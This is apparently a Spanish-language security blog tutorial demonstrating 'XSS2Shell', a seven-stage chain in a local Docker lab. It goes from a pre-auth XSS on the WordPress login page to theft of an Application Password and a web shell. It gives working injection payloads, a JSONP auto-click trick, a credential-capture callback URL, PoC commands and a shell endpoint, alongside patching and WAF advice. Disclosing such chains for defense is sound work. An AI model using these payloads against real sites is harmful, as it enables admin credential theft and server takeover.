XSS2Shell: De cero a shell en WordPress

Un tutorial práctico de una cadena XSS sin autenticación previa que puede escalar a ejecución remota de código en WordPress Core, demostrado en un laboratorio Docker local.

Solo para pruebas autorizadas.

Todo lo siguiente se ejecutó contra un laboratorio local (WordPress 7.0.2 en localhos). No utilices estas técnicas contra sistemas que no sean de tu propiedad o para los que no tengas permiso explícito de prueba.

Resumen ejecutivo

XSS2Shell no es un bug aislado — es una cadena de explotación de siete etapas que comienza con un solo carácter (< seguido de un espacio) eludiendo dos parsers HTML distintos en la página de inicio de sesión de WordPress, y termina con PHP ejecutándose en el servidor como www-data.

Lo que lo hace peligroso:

  1. La etapa 1 no requiere autenticación — cualquiera puede ejecutar JavaScript en wp-login.php.
  2. Reside en el núcleo de WordPress — no en un plugin; prácticamente todas las instalaciones con soporte desde 2016 están afectadas.
  3. Utiliza el propio código de WordPress — user-profile.js, REST JSONP, Contraseñas de Aplicación, carga de plugins — como gadgets.
  4. El RCE completo está demostrado y reconocido por WordPress — aunque requiere engañar a un administrador autenticado para que haga un clic.

Este artículo recorre cada etapa con capturas de pantalla de nuestro laboratorio local.

El entorno de laboratorio

git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 en http://localhost:9080
ComponentURLCredentials
Vulnerable WordPresshttp://localhost:9080admin / admin123!
Patched comparisonhttp://localhost:9081(optional)
Attacker listenerhttp://127.0.0.1:9090started by PoC script

WordPress login page — the attack surface
WordPress login page — the attack surface

Todos los sitios WordPress exponen /wp-login.php. Esa página es el punto de entrada de toda la cadena.

Etapa 0: La diferencia entre analizadores (causa raíz)

Cuando el inicio de sesión falla, WordPress muestra el nombre de usuario enviado dentro de un mensaje de error. El nombre de usuario pasa por dos sanitizadores que no coinciden en lo que es una "etiqueta":

LayerFunctionSees < area as…
PHPstrip_tags()Plain text (space after < = not a tag)
WordPress KSESwp_kses_post()Valid HTML element

El payload utiliza un espacio después de<:

< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">X

En la versión vulnerable WordPress 7.0.2, esto sobrevive a la sanitización y se convierte en DOM activo:

./scripts/demo-parser-diff.sh http://localhost:9080
Terminal output showing injected HTML elements in the response
Terminal output showing injected HTML elements in the response

En WordPress 7.0.4 parcheado, el mismo payload se escapa como HTML en el mensaje de error — sin elementos activos.

Este bug existe desde WordPress 4.7 (2016) y fue ignorado durante años de auditorías de seguridad.

Etapa 1: XSS previo a la autenticación (sin inicio de sesión requerido)

Los nodos DOM inyectados coinciden con los selectores que el propio user-profile.js de WordPress busca en la página de inicio de sesión (cargado para el flujo de restablecimiento de contraseña):

  1. .reset-pass-submit .wp-generate-pw se hace clic automáticamente al cargar la página
  2. El clic se propaga al manejador delegado de #color-picker
  3. La verificación de guardia user_id === checkuser_id pasa porque ambos son undefined
  4. jQuery hace POST a ajaxurl — pero ajaxurl no existe en la página de inicio de sesión…

A menos que lo sobreescribamos:

<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>

El elemento <area id=ajaxurl> se convierte en window.ajaxurl. jQuery llama a .toString() → devuelve href. WordPress REST devuelve JSONP → jQuery globalEval() → alert()se ejecuta en el origen de WordPress.

Stage 1 demo page
Stage 1 demo page

Envía el formulario (o abre demo/stage1-preauth-xss.html y haz clic en Ejecutar Etapa 1):

Login page after XSS payload — injected markup reflected in error, JS executes
Login page after XSS payload — injected markup reflected in error, JS executes

Impacto solo en esta etapa: phishing de credenciales en el dominio real, secuestro de sesión, llamadas a la API del mismo origen — sin autenticación alguna.

Etapa 2: Ingeniería social — el clic del administrador

Las etapas 2–7 requieren que un administrador autenticado abra una página controlada por el atacante. Esta es la fricción que mantiene el CVSS por debajo de 10 — pero es realista en ataques dirigidos.

El administrador podría recibir: "Tu sesión ha expirado — haz clic aquí para volver a autenticarte."

Simulated phishing lure page
Simulated phishing lure page

Al hacer clic, la página del atacante:

  1. Abre una ventana emergente hija (about:blank)
  2. Redirige la ventana principal a la página de autorización de Contraseñas de Aplicación de WordPress
  3. Escribe un formulario XSS en la ventana emergente hija y lo envía automáticamente a wp-login.php
Admin dashboard — victim is already logged in
Admin dashboard — victim is already logged in

Etapa 3: Ejecución de Métodos en el Mismo Origen (SOME) — aprobación automática

El payload XSS de la ventana hija cambia el callback JSONP de alert a:

window.opener.approve.click

WordPress REST envuelve la respuesta:

/**/window.opener.approve.click({...})

El runtime resuelve window.opener (ventana padre) → .approve (el botón #approve) → .click(). El botón Aprobar de la Contraseña de Aplicación se hace clic automáticamente — sin interacción del usuario en esa página.

Application Password authorization page — the approve button (id=approve) is the SOME target
Application Password authorization page — the approve button (id=approve) is the SOME target

Observe la URL de devolución de llamada en la página: las credenciales se enviarán a http://127.0.0.1:9090/callback?...&password=[------].

Etapa 4: Captura de contraseña de aplicación

WordPress crea una nueva contraseña de aplicación y redirige a la success_url del atacante con las credenciales en la cadena de consulta:

http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXX

El atacante ahora dispone de credenciales de autenticación HTTP Basic para la API REST de WordPress — obtenidas desde la propia sesión del administrador, sin que este haya escrito nada tras el clic inicial en el enlace.

Etapa 5: Publicación de página controlada por el atacante

Usando la contraseña de aplicación robada, el atacante realiza un POST a /wp-json/wp/v2/pages y publica una página con JavaScript integrado. Los administradores tienen la capacidad unfiltered_html, por lo que las etiquetas de script sobreviven.

Etapa 6: Carga de plugin mediante sesión de administrador

El JavaScript del atacante (ejecutándose en el navegador del administrador en la página publicada):

  1. Obtiene /wp-admin/plugin-install.php?tab=upload para el nonce de carga
  2. Realiza un POST con un ZIP malicioso a /wp-admin/update.php?action=upload-plugin
  3. WordPress lo extrae en wp-content/plugins/xss2shell/

El plugin no necesita estar activado. Los archivos PHP en el directorio del plugin son directamente accesibles desde la web.

Etapa 7: Ejecución remota de código

GET /wp-content/plugins/xss2shell/shell.php?cmd=whoami

Respuesta:

{ "rce": true, "user": "www-data", "output": "www-data\n" }
Shell endpoint returning command output
Shell endpoint returning command output

El atacante ahora ejecuta comandos arbitrarios como el usuario del servidor web: puede leer wp-config.php (credenciales de la base de datos), volcar la base de datos y moverse lateralmente.

Salida completa del terminal de la prueba de concepto:

XSS2Shell PoC completing the chain
XSS2Shell PoC completing the chain

La cadena completa de un vistazo

sequenceDiagram participant A as Servidor atacante participant V as Navegador víctima participant W as WordPress 7.0.2 Note over V,W: El administrador está autenticado V->>A: Abre enlace de phishing (1 clic) A->>V: HTML del atacante + ventana emergente hija V->>W: Ventana principal → authorize-application.php V->>W: La hija envía payload XSS por POST a wp-login.php W->>V: JSONP ejecuta window.opener.approve.click Note over V,W: Botón Aprobar clicado automáticamente W->>A: Redirección con Contraseña de Aplicación A->>W: REST API publica página (autenticación Basic) V->>W: El admin visita la página → sube el ZIP del plugin V->>W: GET shell.php?cmd=whoami W-->>A: www-data

¿Qué tan peligroso es realmente?

Lo que está garantizado (alta confianza)

PropertyValue
Authentication for XSSNone
Affected installsAll WordPress 4.7+ before patch
Default-config exploitabilityStage 1 works out of the box
User interaction for XSSVictim visits attacker URL

Lo que requiere condiciones adicionales (ruta de ejecución remota de código)

ConditionNotes
Logged-in administratorMust have active WP session
Social engineeringAdmin must click attacker link
Application Passwords enabledDefault since WP 5.6; needs HTTPS or local env
Popup not blockedBrowser must allow window.open from user gesture

Calibración de gravedad

MetricValueInterpretation
CVSS 4.08.9 HighFull chain impact scored; not Critical because of UI:A
CVSS 3.16.1 MediumOlder scoring undervalues chained impact
EPSS~0.77%Low predicted mass exploitation (Aug 2026)
CISA KEVNot listedNo confirmed in-the-wild mass exploitation yet
Public PoCsMultiple on GitHubExploitation window may shrink

Conclusión: Esto no es un RCE de cero clics propagable como Log4Shell. Es una vulnerabilidad altamente técnica a nivel de núcleo que afecta al ~43% de la web donde:

  • La Etapa 1 por sí sola es un XSS previo a la autenticación grave en la página de inicio de sesión
  • La cadena completa convierte un solo clic de administrador en un compromiso del servidor
  • La causa raíz (diferencial de analizadores sintácticos) se aplica a cualquier base de código que utilice múltiples analizadores HTML

El propio aviso de WordPress indica que el RCE requiere "condiciones fuera del control del atacante" e "ingeniería social exitosa." Eso es preciso — pero la cadena demostrada hace que esas condiciones sean alcanzables con un solo enlace.

Reproducir la cadena completa localmente

# 1. Iniciar laboratorio de pruebas # 2. Habilitar Contraseñas de Aplicación en HTTP (solo laboratorio) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Iniciar el listener del PoC python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. En el navegador: # a. Iniciar sesión como administrador en http://localhost:9080/wp-login.php # b. Abrir http://127.0.0.1:9091/phishing-sim.html # c. Hacer clic en "Open attacker page" (permitir ventanas emergentes) # d. Esperar la salida en la terminal que muestra el shell y whoami

Defensa

PriorityAction
ImmediateUpdate to WordPress 7.0.3 or your branch's patched release (full list)
Verify./scripts/demo-parser-diff.sh should show no injected elements
HardenDisable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins
MonitorWatch for failed-login usernames containing < area patterns
WAFBlock < area / < div patterns on wp-login.php POST bodies

La corrección añade esc_html() al nombre de usuario en la ruta de error de inicio de sesión, asegurando que la cadena se trate como texto y no se vuelva a parsear como HTML.

Por qué esto importa para la investigación en seguridad

Cada eslabón de la cadena es individualmente insignificante:

  • Diferencial de parsers → severidad baja, mantenimiento rutinario
  • Script incorrecto cargado en la página de inicio de sesión → baja
  • Callback JSONP validado por expresión regular → media
  • Contraseña de aplicación en URL de redirección → media
  • El directorio de plugins ejecuta PHP sin activación → diseño conocido

Ensamblados, son CVSS 8.9 y una shell.

La lección: al evaluar hallazgos de XSS, pregúntate "¿qué está ya cargado en esta página y qué hará si le paso los nodos DOM correctos?" La severidad es una propiedad de la cadena, no del bug individual.

Referencias

Selecciona región e idioma

Región
Idioma
¿Quieres ver cómo funciona CyberTested?
Reserva una demostración gratuita